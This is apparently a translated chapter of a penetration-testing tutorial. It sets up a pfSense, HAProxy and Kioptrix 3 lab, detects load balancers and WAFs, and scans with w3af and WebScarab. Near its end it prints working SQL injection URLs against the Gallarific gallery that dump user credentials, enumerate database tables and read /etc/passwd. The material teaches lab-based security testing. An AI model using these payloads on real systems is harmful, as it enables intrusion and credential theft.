  1. 从 pfSense 控制台中选择2)设置接口 IP 地址

  2. 在**输入您要配置的接口的编号:**提示处,我们需要输入2选择 LAN 接口,并按Enter

  3. 在提示时输入以下 IP 地址:192.168.75.1并按Enter

  4. 输入新 LAN IPv4 子网位数提示处输入24并按Enter

  5. 当询问是否要在 LAN 上启用 DHCP 服务器时,输入y。按Enter继续。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  6. 当要求提供起始地址范围时,输入192.168.75.10并按Enter

  7. 您将被要求选择结束的 DHCP 范围。输入192.168.75.50并按Enter外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

启动虚拟实验室

每次加载测试网络时,系统应按以下顺序启动:

  1. pfSense VLAN1

  2. BackTrack

  3. Kioptrix VM Level 3

  4. Kioptrix VM Level 3 Clone

  5. Ubuntu_TestMachine_1

提示

请记住,在 BackTrack 或 Ubuntu 中,您可以随时使用dhclient命令行命令释放和更新 IP 地址。之后使用ifconfig检查地址,以确保 DHCP 服务器正常工作。

如果您遇到机器从错误的 DHCP 服务器获取 IP 的问题,您还需要关闭我们在前几章中启用的 VirtualBox DHCP 服务器。有关 VirtualBox 更高级功能的详细说明可以在互联网上找到:www.virtualbox.org/manual/ch08.html

pfSense DHCP — 永久预留

现在我们可以登录到虚拟 pfSense 防火墙的 Web 控制台,为两台 Kioptrix 机器设置静态 IP。

打开预装在 BackTrack 中的 Firefox Web 浏览器,转到http://192.168.75.1,这是 pfSense 虚拟机的 Web 控制台界面。如果一切配置正确,系统将要求您输入用户名和密码。

  • 用户名:admin

  • 密码:pfsense

注意

如果您在设置机器时遵循了标准最佳实践,您可能已经更改了 pfSense 实例的默认密码。如果是这种情况,请使用该密码而不是默认密码,并为积极主动表示赞赏!

pfSense 仪表板提供了大量的数据。现在我们只关注设置负载平衡。按照以下步骤允许 pfSense 为两台 Kioptrix 客户机负载平衡 Web 应用程序。

  1. 首先,我们需要知道哪些 MAC 地址属于每台 Kioptrix 机器,以便我们可以设置静态租约。这可以通过检查每个框的 VirtualBox Manager 设置并查看网络设置来完成。

  2. 在 pfSense Web 控制台中,单击状态|DHCP 租约以获取当前租约列表。将 IP 地址与每台 Kioptrix 机器的 MAC 地址进行匹配。

  3. 通过使用右侧的按钮打开静态分配窗口,为两台机器设置静态 IP 地址分配。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  4. 服务:DHCP:编辑静态映射窗口中,您需要输入一个在 DHCP 范围之外的 IP 地址。这将确保每次机器连接时都会收到相同的 IP 地址。在 IP 地址字段中输入192.168.75.102外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  5. 主机名中输入Kioptrix2

  6. 输入您选择的描述。这将存储在 DHCP 设置中,以便将来进行审查。

注意

作为渗透测试人员,值得注意的是,有时管理员会在其 DHCP 列表中输入非常好的注释。如果您碰巧接管了充当 DHCP 服务器的系统,这将使您更容易找到网络上有价值的机器。

  1. 单击保存以完成任务。

  2. 应用设置。向下滚动以查看静态 DHCP 地址。此列表包括有关所有分配的 IP 地址的信息。外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

安装 HAProxy 进行负载平衡

为了练习检测负载均衡器,我们需要在我们的虚拟实验室中设置一个。我们可以使用我们现有的 Ubuntu 机器来完成这项任务。

注意

如果在运行 HAProxy 时遇到困难,请确保验证您已关闭之前章节中的 Apache 安装。如果端口已被 Apache 或其他任何东西绑定,您将无法在同一端口上设置负载平衡。

  1. 在您的 Ubuntu 虚拟机上启用 NAT 设置并启动它。

  2. 在虚拟机上启用网络适配器 2。确保它使用 VLAN1。为您的 Ubuntu 机器设置一个静态 DHCP 租约。使用192.168.75.200作为 IP 地址。在控制台中使用dhclient刷新您的 IP 地址信息。验证您现在的一个适配器正在使用192.168.75.200

  3. 单击左上导航栏中的应用程序|Ubuntu 软件中心

  4. Ubuntu 软件中心屏幕的左上角的搜索字段中键入HAProxy

  5. 点击安装按钮,并在提示时输入密码。

注意

如果您在安装过程中遇到与不受信任的软件包相关的错误,可以运行apt-get updateapt-get upgrade来继续安装。

  1. 我们需要编辑配置文件以为我们的两台 Kioptrix 机器设置负载均衡器。打开终端会话并编辑/etc/haproxy/haproxy.cfg文件。记得使用sudo提升权限以进行写访问。然后从该目录中删除所有其他.cfg文件。
# sudo nano /etc/haproxy/haproxy.cfg 

  • 在保存并退出之前,您的文件应该与以下内容匹配:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
  1. 我们的 Ubuntu 机器已经运行了一个 Web 服务器,所以我们必须禁用它才能使这个练习正常工作:
# sudo /etc/init.d/apache2 stop 

  1. 是时候启动负载均衡器了:
# sudo haproxy -f /etc/haproxy/haproxy.conf 

如果一切配置正确,您将发现现在可以使用 IP 地址192.168.75.200浏览到您的 Kioptrix 机器。

将 Kioptrix3.com 添加到主机文件

让我们在 BackTrack 上的 hosts 文件中添加Kioptrix3.com,并尝试侦测正在访问哪台机器。在 BackTrack 终端中,切换到/etc目录,用你选择的编辑器打开hosts文件,并添加以下内容到文件中:

kioptrix3.com

通过 ping kioptrix3.com来验证连接:

# ping kioptrix3.com 

PING kioptrix3.com (192.168.75.200) 56(84) bytes of data.
64 bytes from kioptrix3.com (192.168.75.200): icmp_seq=1 ttl=64 time=3.76 ms

检测负载均衡器

在进行渗透测试时,有可能一个服务器上留下的漏洞在另一个服务器上是不可用的。适当的负载均衡几乎是完全透明的,这可能很容易导致测试结果的误传,如果您在负载均衡池中的任何服务器上发现了任何服务器问题。

提示

我们专注于 HTTP 负载均衡的练习。检测 DNS 负载均衡可以通过使用前一章描述的枚举工具来完成。例如,您可以使用 dig 来查看是否为同一域名返回了多个服务器。

快速现实检查 —— 负载均衡检测器

BackTrack 5 包括一个名为负载均衡检测器(lbd.sh)的脚本,它将快速测试负载均衡。运行这个工具对我们当前的负载均衡Kioptrix3.com服务器将为您提供输入,表明服务器没有负载均衡,因为该工具从未有机会看到其他服务器。

然而,如果您在 Ubuntu 机器上编辑 HAProxy 配置以使用轮询平衡类型(平衡roundrobin)并重新启动,以下命令将找到您的负载均衡器:

# cd /pentest/enumeration/web/lbd
# ./lbd.sh kioptrix3.com

lbd - load balancing detector 0.2 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.
Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server]:
Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
NOT FOUND
Checking for HTTP-Loadbalancing [Date]: 02:02:54, 01:44:10, FOUND
Checking for HTTP-Loadbalancing [Diff]: NOT FOUND
kioptrix3.com does Load-balancing. Found via Methods: HTTP[Date] 

注意

熟悉可以实现的各种负载均衡类型,这样就更容易准确地检测网络的真实情况。

那么,我们到底在寻找什么呢?

一个站点可以由许多不同的服务器托管,安全程度也不同。有时只需要其中一个服务器就能完成工作,渗透测试人员需要确保没有遗漏。

正如前面的例子所强调的,有时候不可能确定一个站点是否是负载均衡的。lbd.sh给我们提供了一个有趣的事实:它能够通过查看HTTP[Date]方法来确定站点是否正在负载均衡。访问的服务器之间的小变化是准确确定的关键。

注意

只是在两个正在负载均衡的系统之间进行简单的扫描将强调需要对所有系统进行枚举和测试,而不仅仅是一部分。

当对我们负载均衡池中的服务器运行 nmap 扫描时,我们看到以下结果:

# nmap -A -T5 192.168.75.101 

Host is up (0.00056s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
MAC Address: 08:00:27:56:C4:B2 (Cadmus Computer Systems) 

这些信息是预期的。但它与其他 Kioptrix 机器相比如何?

# nmap -A -T5 192.168.75.102 

Nmap scan report for 192.168.75.102
Host is up (0.00055s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
MAC Address: 08:00:27:82:09:5A (Cadmus Computer Systems) 

我们看到许多发现与预期相同,但这里有一个小的差异需要查找:192.168.75.102的 MAC 地址与192.168.75.101的不同。如果这些系统不是彼此的完全克隆,那么其他差异也可能是可见的。这些是我们需要寻找的小差异。

我们的 Web 应用程序由 Kioptrix 机器托管,但由我们的 Ubuntu 机器进行负载均衡。这通常是一个虚拟 IP 地址,严格用于提供对托管我们应用程序的两台生产机器的访问,可能是在分层 DMZ 中。当然,如果应用程序开发人员或管理员在其中一台服务器或应用程序中留下了漏洞,我们将很快能够绕过任何这样的安全措施,直接进入关键的基础设施和数据所在的地方。

提示

HTTP 响应标头还可以提供突出显示负载均衡器的信息。使用允许您查看这些标头的工具,您可以确定是否存在这些类型的差异,表明有多台机器提供相同的网页。

检测 Web 应用程序防火墙(WAF)

我们需要了解是否还有内联 Web 应用程序防火墙需要我们注意。BackTrack 通过提供 WAFW00F 来满足这一需求,这是一个尝试检测最常用的 Web 应用程序防火墙的工具。这个脚本是由 Sandro Gauci 和 Wendel G. Henrique 创建的,可以从项目网站的下载部分下载code.google.com/p/waffit/

使用以下命令从 BackTrack 终端调用命令:

# cd /pentest/web/waffit/
# ./wafw00f.py

^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Usage: wafw00f.py url1 [url2 [url3 ... ]]
example: wafw00f.py http://www.victim.org/
wafw00f.py: error: we need a target site

与大多数由辛勤工作的开发人员提供的工具一样,当运行wafw00f.py时,没有任何输入变量的语法示例。我们将遵循提供的用法示例语法:

# ./wafw00f.py http://kioptrix3.com 

^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://kioptrix3.com
Generic Detection results:
No WAF detected by the generic detection 
Number of requests: 10

突出显示的响应表明没有找到 WAF。这应该会让我们渗透 Kioptrix 机器的工作变得更容易。那么,如果实际上有 Web 应用程序防火墙,我们应该期望看到什么呢?以下是针对这种配置的结果:

^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://192.168.75.15/mod_security/w3af/
The site http://192.168.75.15/mod_security/w3af/ is behind a ModSecurity
Generic Detection results:
The site http://192.168.75.15/mod_security/w3af/ seems to be behind a WAF
Reason: The server returned a different response code when a string trigged the blacklist. 
Normal response code is "404", while the response code to an attack is "302"
Number of requests: 10

正如您所看到的,这些信息清楚地定义了网站正在受到保护的事实,以及在这种情况下它正在使用 ModSecurity(实际上确实是)。在进行测试时,我们应该牢记这一事实,并尝试使用已知可用于测试使用此特定软件的站点的技术。这些策略会随时间而变化,因此在尝试在生产网络上使用漏洞之前,您应该尝试模拟您正在测试的环境。

接受第 3 级挑战 — Kioptrix

本章中我们想要涵盖的许多技术可以通过接受 Kioptrix 提供给我们的挑战来探索。让我们看一下获得 Kioptrix 机器 root 权限所需的步骤。

提示

打开 BackTrack,查看Kioptrix3.com的 Web 应用程序。浏览并查看页面的源代码。在开始之前,有一些有趣的注释和彩蛋留给我们。玩得开心!

通常,我们将从扫描托管 Web 应用程序的服务器开始。这种基础设施测试为我们提供了许多在尝试执行某些 Web 应用程序漏洞时非常有用的信息。在这种情况下,我们知道使用我们的负载平衡检测器,正在进行一些负载平衡。我们还知道这些服务器彼此非常相似,并且没有留下任何线索表明它们的真实 IP 是什么。我们的下一步是检查是否有任何明显的 Web 应用程序防火墙需要我们注意。如果有的话,我们可能需要使用某些规避技术来绕过这些限制。

在现实世界中,由于防火墙限制和网络分割实践,这些系统很可能甚至无法直接访问。我们的目标是能够接管其中一个服务器,然后从该服务器转移到另一个服务器,然后将其关闭。毕竟,如果系统完全相同,我们只需要获取一个的凭据,就可以使用该凭据接管所有副本。

Web 应用程序攻击和审计框架(w3af)

这个令人难以置信的框架自动化了以前手动完成的许多任务。完全可扩展和开源的 w3af 使用了大量插件,提供了完全可定制的测试体验。该工具的作者创建它是为了对测试新手和专家渗透测试人员都非常友好。如果您需要的插件尚未可用,那么只需自己创建它,可以节省大量时间用于未来的所有测试。w3af 不断更新和改进。w3af 包括的插件类型涵盖了发现、暴力破解、审计甚至规避。该框架还包括自动更新功能,以确保您始终安装并准备运行最新和最好的版本。在w3af.sourceforge.net了解更多关于这个工具的信息。

正如预期的那样,BackTrack 开发团队预先安装了 w3af。打开您的 BackTrack 虚拟机,然后选择:应用程序 | BackTrack | 漏洞评估 | Web 应用程序评估 | Web 漏洞扫描程序 | w3af gui来启动图形用户界面。如果您的 BackTrack 系统连接到互联网,当提示时您将能够更新插件到最新版本。

注意

不要选择在 BackTrack 内更新 w3af。在 BackTrack 5 r1 上更新 w3af 后,w3af 将不再起作用。可以采取几个步骤来安装和配置新的依赖项,但这超出了本示例的范围。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

通常,您会希望执行非常有选择性的攻击,特别是如果您试图测试客户管理员和安全团队的检测能力。

注意

在继续之前,请记得在 Ubuntu 机器上停止 Apache 并启动 HAproxy。

在这种情况下,我们将简单地开始执行web_infrastructure扫描,并查看我们可以在Kioptrix3.com (192.168.75.200)上找到什么信息。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

看起来 w3af 能够检测到这个站点正在进行负载平衡。仔细检查后,您会注意到反向代理可以用于防止已知问题被利用。确保实际测试漏洞(如果在您的参与规则中涵盖),特别是当您发现可能存在 Web 应用程序防火墙或其他缓解控制时。企业将希望确保他们在这些设备或服务器上的支出要么得到了回报,要么它们没有按预期工作。

使用 w3af GUI 来节省时间

现在我们将运行一个快速扫描,以确定我们能找到什么。这将需要一些时间,所以请确保留出足够的时间来允许测试完成。

注意

建议从提供可立即使用的信息的较小扫描开始,然后进行更彻底的扫描,可能需要数小时甚至数天。渗透测试通常(不幸地)受到预定时间范围的限制。

在测试进行中,您可以在日志选项卡下查看更新的日志。有时,甚至可以在扫描过程中审查日志,以便在收到结果后立即采取行动。

让我们回顾一些发现:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

扫描发现了路径泄露、应用程序错误以及服务器允许目录索引的情况。这些信息对确定下一步非常有用。

使用 w3af 控制台进行扫描

我们中的许多人更喜欢留在控制台部分,而不是使用 GUI。考虑到这一点,我们将运行另一个扫描,看看是否能找到比简单的目录索引和路径泄露配置更有趣的东西。这次我们将使用控制台而不是 GUI。

注意

不要选择从 BackTrack 内部更新 w3af。在 BackTrack 5 r1 上更新 w3af 后,w3af 将不再工作。可以采取几个步骤来安装和配置新的依赖项,但这超出了本示例的范围。

# cd /pentest/web/w3af
# ./w3af_console

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

您可以从 w3af 命令控制台执行所有可用的关键功能。help 命令详细介绍了可用的选项。让我们开始扫描。

我们将从设置我们的目标主机开始:

w3af>>> target
w3af/config:target>>> set target http://kioptrix3.com

在目标菜单中,我们可以将目标设置为http://kioptrix3.com:

w3af/config:target>>> view 

View 将允许我们验证我们的配置。如果您查看屏幕截图,您可以确定目标设置不正确。再次使用 set target 并使用适当的设置将纠正您发现的任何问题。

w3af/config:target>>> back 

back 命令将带您返回到上一个屏幕。输入 exit 将退出 w3af 控制台,这是我们不想要的。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

w3af>>> plugins 

我们可以通过在控制台中输入 plugins 来查看已安装的插件。这在确定您想要运行哪些特定项目时非常有用。您还可以从此菜单中获取有关每个插件的信息。

w3af/plugins>>> help 

如果需要更多信息,或者您只需要刷新您对所有内容的记忆,请在控制台的任何位置使用 help 命令。

w3af/plugins>>> back
w3af>>> profiles

配置文件部分是理解将要扫描的内容的关键。就像 GUI 一样,配置文件确定启动扫描时将运行哪些插件。

w3af/profiles>>> help 

为了确保我们运行正确的配置文件,我们检查可用命令以找到提供所需信息的命令。如果您已经了解站点的某些信息,可以通过创建自定义配置文件来节省时间,以匹配您正在扫描的配置。例如,在未使用 IIS 的服务器上扫描 IIS 漏洞是没有意义的。

w3af/profiles>>> list 

这里提供了可用的预配置配置文件列表。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

w3af/profiles>>> use audit_high_risk 

use 命令允许我们指定在扫描期间要使用的配置文件。

w3af/profiles>>> back 

我们返回到 w3af 默认部分,并准备开始配置的扫描。

w3af>>> plugins
w3af/plugins>>> output

|-----------------------------------------------------|
| Plugin name | Status | Conf | Description |
|-----------------------------------------------------|
| console | Enabled | Yes | Print messages to |
| | | | the console. |
| emailReport | | Yes | Email report to |
| | | | specified addresses. |
| gtkOutput | | | Saves messages to |
| | | | kb.kb.getData('gtkOutput', |
| | | | 'queue'), messages |
| | | | are saved in the |
| | | | form of objects. |
| htmlFile | | Yes | Print all messages |
| | | | to a HTML file. |
| textFile | | Yes | Prints all messages |
| | | | to a text file. |
| xmlFile | | Yes | Print all messages |
| | | | to a xml file. |
|-----------------------------------------------------|

Output 将允许您设置输出类型,例如 XML、文本文件,甚至 HTML。我们使用默认设置启用htmlFile输出(输出到report.html),并暂时保持控制台启用。

w3af/plugins>>> output htmlFile 

这将启用 HTML 输出。

w3af>>> start 

正如您可能已经猜到的那样,输入start将使用我们刚刚配置的设置来启动我们的扫描。如果有错误,请使用我们刚刚审查的命令来检查和纠正错误。记得在卡住并不知道如何继续时使用 help 或 back。

扫描完成后,您将回到 w3af 提示符。查看结果后,我们发现仍然没有明显的发现可以快速轻松地接管机器或获得远程 shell。在这里,我们在 Firefox 中浏览到report.html位置,以显示默认的 HTML 报告格式:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们需要继续进行一些小的修改,以选择插件以找到有趣的漏洞。插件可以禁用、查看或启用如下:

w3af>>> plugins
w3af/plugins>>> help

|---------------------------------------------------------|
| list | List available plugins. |
|---------------------------------------------------------|
| back | Go to the previous menu. |
| exit | Exit w3af. |
| assert | Check assertion. |
|---------------------------------------------------------|
| audit | View, configure and enable audit plugins |
| grep | View, configure and enable grep plugins |
| evasion | View, configure and enable evasion plugins |
| bruteforce | View, configure and enable bruteforce |
| | plugins |
| discovery | View, configure and enable discovery |
| | plugins |
| mangle | View, configure and enable mangle plugins |
| output | View, configure and enable output plugins |
|---------------------------------------------------------|

我们可以通过输入类别(例如audit)来查看启用了哪些插件。在这里,我们可以确定在使用audit_high_risk配置文件时启用了哪些审计插件。

w3af/plugins>>> audit 

此命令提供以下控制台输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一些非常重要的插件未启用。我们需要启用localFileIncludexssrescan

w3af/plugins>>> audit xss, localFileInclude
w3af/plugins>>> audit

验证所有设置是否准确;如果遇到错误,请重新设置目标,然后重新开始扫描。扫描完成后,查看结果。您应该注意到已检测到本地文件包含漏洞。我们还在kioptrix3.com/gallery上检测到许多未知的 Web 应用程序错误。我们可以重新进入扫描程序并启用所有插件,然后再次尝试,或者我们可以手动查看可疑的 URL。

使用 WebScarab 作为 HTTP 代理

启用 Web 代理并记录所有手动渗透测试活动是有益的。毕竟,您需要能够复制您的步骤,并撰写指示测试过程中所采取的步骤的报告。在 BackTrack 中,可以通过选择应用程序 | BackTrack | 漏洞评估 | Web 应用程序评估 | Web 漏洞扫描程序 | WebScarab找到 WebScarab。

注意

WebScarab 最初将使用 WebScarab Lite 界面。可以通过使用工具下拉菜单并选择使用完整界面来更改,并重新启动工具。

WebScarab 是 OWASP 团队提供的 HTTP 代理,将帮助分析您的 HTTP 流量。一旦启动,我们需要将浏览器指向使用代理。

加载 Firefox,选择编辑 | 首选项 | 选项 | 高级选项卡 | 网络选项卡,然后单击设置按钮。选择**手动配置代理:**单选按钮,并配置以下设置:

  • **HTTP 代理:**localhost | 端口:8008。

  • **SSL 代理:**localhost | 端口:8008。

  • **不使用代理:**删除此处的条目。空白。

默认监听器应该能够捕获您的会话。现在在浏览器中转到kioptrix3.com。如果一切正常,并且没有收到错误,请转到kioptrix3.com/gallery/,然后返回到 WebScarab 并选择摘要选项卡以查看我们的代理结果:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

有一件事立即确认了 w3af 遇到的未知应用程序错误问题。在尝试进行 SQL 注入攻击之前,URL kioptrix3.com/gallery/已经返回了 500 应用程序错误。自动化扫描程序很难处理异常行为,因此,我们必须进一步调查。如果这个概念在这个时候让您感到困惑,请尝试以下方法来确认我们的怀疑是正确的。打开一个新的 BackTrack 终端会话并调用 netcat:

# nc kioptrix3.com 80 

当连接建立时,输入以下内容:

GET http://kioptrix3.com/gallery/ 

我们直接获取数据,这样可以更好地控制信息。如果有疑问,使用 netcat!输出如下:

HTTP/1.0 500 Internal Server Error 
Date: Sun, 04 Dec 2011 23:36:00 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5.6
Set-Cookie: PHPSESSID=f04693abb030c65c52014ea6bb99aafb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5653
Connection: close
Content-Type: text/html

突出显示的部分确认应用程序立即返回错误代码和请求的页面。

现在是时候使用 WebScarab 拦截我们的消息,看看我们正在处理什么。在 WebScarab 中打开代理选项卡,点击手动编辑选项卡,并选中拦截响应框。通过拦截响应,我们能够查看传递给服务器的数据包,看看是否有任何有趣的内容。现在,如果需要,我们也可以更改任何变量或隐藏字段。

现在我们正在拦截,回到浏览器屏幕并重新加载kioptrix3.com/gallery/页面。您将看到以下内容:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

被拦截的数据将包括以解析和原始格式返回的响应。您必须了解正常响应应该是什么样子的。这些是能够帮助您在 Web 应用程序中发现漏洞的线索。在这种情况下,我们可以再次看到服务器在其标头中以 500 内部服务器错误的形式响应。当查看原始源时,我们还看到一些关于 Gallarific 的引用。与任何软件一样,当您能够确定正在运行的内容时,您应该快速查找已知的漏洞。

注意

记住这个过程:找出正在运行的内容,确定它是否设置正确和/或是否存在已知的漏洞,然后进行测试。

前往www.exploit-db.com搜索 GALLARIFIC。当前结果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们有三种不同的利用程序可供选择,仅针对这个简单的应用程序。这甚至没有计算我们能够使用自动化工具找到的本地文件注入。如果您选择列表中的顶部项目,即GALLARIFFIC PHP 照片库利用程序,您将看到提交利用程序的人甚至很好地包括了指向管理面板的路径kioptrix3.com/gallery/gadmin/,以防我们在以前的扫描结果中错过了它(还记得看到有关某些有趣内容被注释掉的通知吗:<!-- a href="gadmin">Admin</a>&nbsp; &nbsp; -->)。

注意

请记住,exploit-db 已经在您的 BackTrack 机器上!如果您像应该一样在分段网络上,就没有理由离开以下载利用代码或概念证明说明。您已经在您的机器上拥有它!

如果您正确地搜索了 Gallarific,您还会发现其他漏洞。以下是一些相关的 CVE 参考:

  • CVE-2008-1326

  • CVE-2008-1327

  • CVE-2008-1464

  • CVE-2008-1469

  • CVE-2008-6567

提示

在尝试查找有关软件漏洞的信息时,OSVDB(开放源代码漏洞数据库)osvdb.org/也是一个很好的资源。如果您找到一个有漏洞的软件版本,很可能您还会找到任何相关的概念证明代码(如果存在的话),因为 Exploit-DB 团队已经在确保他们的 CVE 与 OSVDB 相匹配上花费了很多精力。

现在看一下利用定义,我们看到提供了示例代码(感谢 AtT4CKxT3rR0r1ST 将此概念证明利用代码提交给Exploit-DB.com)

www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users-- 

提示

除非您希望确认每个响应,否则请关闭拦截。

当然,为了使用这个例子,我们需要做一些更改。首先,我们需要更正www.site.com条目。将其替换为kioptrix3.com。然后我们需要添加我们的图库子文件夹,以便我们访问正确的站点:

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users-- 

如果您尝试此代码,您会发现它并没有按计划工作。我们需要回到我们的 Web 应用程序测试基础知识,并确定问题所在。让我们在这里尝试一些东西,看看会发生什么。我们将简化查询并查看是否有效。

http://kioptrix3.com/gallery/gallery.php?id=null%20and%201=2%20union%20select%201,2,3,4,5,6,7,8 

作为回应,我们仍然收到以下错误:

The used SELECT statements have a different number of columns. Could not select category

如果您熟悉 SQL 注入,您已经知道问题所在。我们正在处理太多列。现在我们将通过列计数进行迭代,直到我们不再收到错误消息。尝试以下操作:

http://kioptrix3.com/gallery/gallery.php?id=null%20and%201=2%20union%20select%201,2,3,4,5,6 

现在我们看到了更有趣的东西。我们的 SQL 注入成功了!接下来,我们将修改概念证明代码如下,并尝试一下:

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users-- 

此命令将为我们提供用户名admin和密码n0t7t1k4。使用此信息登录kioptrix3.com/gallery/gadmin并浏览一下。您可以访问应用程序的管理员权限,但尚未获得对机器本身的 root 访问权限。现在您知道可以使用 SQL 注入来获取数据库中的任何内容,请考虑您可能还能获取到什么其他信息;也不要忘记我们的文件包含漏洞!我们对 Kioptrix level 3 的旅程尚未完成。

Mantra 简介

Mantra 浏览器为渗透测试人员提供了许多工具,使 Web 应用程序测试变得高效和有趣。它利用了多年来编写的许多基于浏览器的插件,并可在getmantra.com上获得。一定要查看该网站提供的一些精心编写和详细的教程,因为它们提供了基本知识以外的用例示例。我们将使用 Mantra 中的插件以高效的方式充分利用我们实验室中的 Kioptrix 3 机器。在这个例子中,我们利用的主要插件是 Hackbar。您可以在addons.mozilla.org/en-US/firefox/addon/hackbar/了解更多关于 Hackbar 的信息。Hackbar 和 Mantra 中的其他附加组件使测试 Web 应用程序变得有趣,并允许知识渗透测试人员手动验证 Web 应用程序的安全性。

注意

您仍需要了解 Web 应用程序安全性的工作原理,以及如何手动执行这些测试;Mantra 只是通过提供许多手动测试所需的工具,使这个过程更加方便和高效。使用 Mutillidae 安装来填补您在测试常见 Web 应用程序安全问题方面的任何空白。

  1. 我们的第一步是在 BackTrack 机器上打开 Mantra 浏览器。可以通过导航菜单选择BackTrack | Vulnerability Assessment | Vulnerability Scanners | Mantra找到 Mantra。

  2. 在 Mantra 中,使用浏览器的 URL 导航栏(kioptrix3.com)浏览托管在您的 Kioptrix 1.2 虚拟服务器上的网页。

  3. 在 Mantra 中使用 hackbar 输入以下 URL,然后单击Execute按钮:

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users-- 

  1. 您应该看到用户名admin和密码n0t7t1k4

  2. 让我们看看如何获取其他信息。在 hackbar 中输入以下内容:kioptrix3.com/gallery/gallery.php?id=1,然后单击Execute

  3. 现在将光标放在 hackbar 中kioptrix3.com/gallery/gallery.php?id=1条目的末尾,添加一个空格,然后直接在 hackbar 上方单击SQL | Union Select Statement,在弹出的窗口中输入6,然后单击OK。单击 hackbar 上的Execute按钮,以验证 SQL 注入是否有效。

  4. 现在,通过突出显示生成的查询并单击SQL | MySQL | Basic Info Column,将查询中的数字2替换为2,以便您的 URL 现在看起来像这样:kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),@@version),3,4,5,6。单击 hackbar 上的Execute,并查看结果。输出应包含以下信息:root@localhost : gallery : 5.0.51a-3ubuntu5.4。您已成功枚举了正在运行的用户、数据库名称和版本。

  5. 此时,您可以使用任何典型的 SQL 注入技巧来枚举这个数据库。尝试运行不同的命令,比如kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database(),这将列出当前数据库中的所有表。

  6. 我们已经可以使用常用的 SQL 注入代码访问服务器上的某些文件,比如kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6。这将列出服务器上的 passwd 文件。

